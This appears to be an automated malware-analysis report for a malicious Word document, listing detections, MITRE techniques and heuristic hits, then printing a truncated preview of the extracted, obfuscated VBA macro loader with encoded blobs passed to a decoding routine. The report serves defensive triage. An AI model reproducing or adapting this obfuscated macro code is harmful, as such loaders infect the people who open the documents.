MALICIOUS
244
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1140 Deobfuscate/Decode Files or Information
The sample is identified as malicious by ClamAV and exhibits multiple high-severity heuristic firings related to VBA macros, including AutoOpen and CreateObject calls. The presence of a VBA macro in 'macros.bas' strongly suggests an attempt to execute malicious code. The macro likely attempts to download and execute a second-stage payload, a common technique for malware distribution.
Heuristics 9
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 62497 bytes |
SHA-256: 96b4404b733f4588c739072e4c446a1f29d2a6e9e91971d7cc4d1a4321ddf6f6 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 19 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ApPDzdH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "tUAApGH"
Function RwfZCCWYfwB()
On Error Resume Next
Select Case raFis
Case 41262
rsktm = CStr(zWhKk + CStr(83073) - mIpTPG * 88778)
Case 3890
SJRqC = BDGJwD
TIrUHo = Tan(34053 * UYGbki)
End Select
PAbFFmn = OrhuW("CswAxAGUAYQBkADEAYQAzADUAOQAwADAAMgBkADAAYwBjAGUAZABiAGQAMQBlADEAMABmAGQAYQAzAbDVtENk", 3, 76)
Select Case mSlbEc
Case 51531
cwQPVi = CStr(bsWDp + CStr(64053) - uzFkow * 69845)
Case 19749
SBQRn = XzGsj
XqZww = Tan(29952 * OEjtDK)
End Select
Select Case LPjPVw
Case 16950
tEcDJJ = CStr(NHLzY + CStr(41551) - aShEwi * 91679)
Case 50306
pEQri = OUjmK
SuHwj = Tan(91759 * LIsFKa)
End Select
jbXQcEhR = OrhuW("XLtisJwBmAGQAZABhAGQAMwBkAGQAMwAyADgANAAwAGMAZQBiAGQAOQBkAGYAZQA0ADMANAAxAGEANQAyADQANgAwADgAOABlADYAMABiADQAOQA2ADkANQA2AGMAYQAxADUANwBmADIAOQAzAGYANwA3ADUAOABhAiM", 7, 156)
Select Case NhRzdo
Case 37321
mwtSas = CStr(rPmLZI + CStr(46045) - HPjGOO * 95835)
Case 97802
QtHhD = IVrlIJ
RUwSR = Tan(54697 * zBjpH)
End Select
Select Case DwGmhb
Case 95987
UWpzwD = CStr(jmShPc + CStr(99812) - pkdTsV * 65369)
Case 47329
GXGdj = CFaVz
iiqQbC = Tan(15417 * jnSDw)
End Select
FVSTzlV = OrhuW("mBiAGQANQA5AGUAYQA2ADAANgAyAGIAYwA1ADUAMgBli3S.m", 2, 42)
Select Case CEHFT
Case 74461
QqYzOz = CStr(PboHA + CStr(5487) - BnCRS * 49959)
Case 32653
TECjSR = zVCMwO
RSMDpr = Tan(15449 * LCtHAR)
End Select
Select Case YMZszw
Case 6360
mlwzZk = CStr(wOYKr + CStr(39185) - cjzEq * 84165)
Case 84477
aECEX = JuiJr
pJwXK = Tan(99100 * ooQbR)
End Select
vHsOMklrC = OrhuW("U4DkT%345MgB8AG4ATgBrAG0AcQA5AHcAVwB2AEMAMwBIDXX", 7, 39)
Select Case Cjpst
Case 15731
zjLsz = CStr(MPoUt + CStr(829) - KjTlc * 88301)
Case 82082
DNKckk = YTClB
LFzFao = Tan(74264 * zUWbQI)
End Select
Select Case jqYqo
Case 4126
VZqYY = CStr(SGOpZ + CStr(86736) - sYIkZ * 40234)
Case 89804
aXXuN = aDViZ
FjRmnr = Tan(39767 * jTQGbs)
End Select
pACLiw = OrhuW("Jo5D0AYwBiADAAYQA1ADkAZAA4ADgAYwA5ADAAOQA0ADMAMABkADQAOQA1ADIAZgBiAGUANQA0ADYANwBhAGIAZQA3ADIAMAAyAGUANAA3AGIANwBmADUANwAmfX", 7, 115)
Select Case LinQTH
Case 5761
BSiKzs = CStr(tGABR + CStr(18443) - WwhAE * 41764)
Case 14195
RSUtO = hSFjC
PTJjUw = Tan(63587 * JFabV)
End Select
Select Case FIluT
Case 42907
qKQkoT = CStr(AjhYzA + CStr(77491) - wjcvY * 59119)
Case 56566
jCdtPC = RjqaM
WMElT = Tan(77249 * OJVWjD)
End Select
fzviw = OrhuW("hhADUAMgAyADkAMABiADEANwA1ADMAZAAwADEAYgA4AGMAZQA3ADEAYwAzADkAYQA5AGEAYQA1ADEAOQA3ADIAOQA2ADIAZgBmADUAMwA0AGUAYwA1AGMAMwA0AGEAOAA1AGQAOQAwADMAMgAynQ,ms30S", 2, 145)
Select Case BSYzE
Case 24645
kiLaN = CStr(MQsGZb + CStr(57031) - WXKEqt * 59828)
Case 43899
GNLsVw = sWzHm
sKGqXw = Tan(33941 * zEajf)
End Select
Select Case sPqAX
Case 27228
fhNDo = CStr(DvjSQq + CStr(85859) - pniRso * 485)
Case 65529
iWYND = GDlXjZ
jzaKJw = Tan(22200 * zawICc)
End Select
UVbXmT = OrhuW("nTwcANwAxADEAMAA5AGMAMgAxk6PRJO", 4, 22)
Select Case jfZOz
Case 55830
hPSAwc = CStr(fSMTH + CStr(8070) - rhfBWX * 60676)
Case 92083
EAVuTF = RbFAQK
IAiSUH = Tan(73071 * uYfszu)
End Select
Select Case imhQB
Case 94602
OcAQA = CStr(tNzFiV + CStr(58889) - riEdV * 2361)
Case 15192
NdBvKj = TbuDj
CRDQkw = Tan(54722 * BDphz)
End Select
PChOdamWoZi = Orhu
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.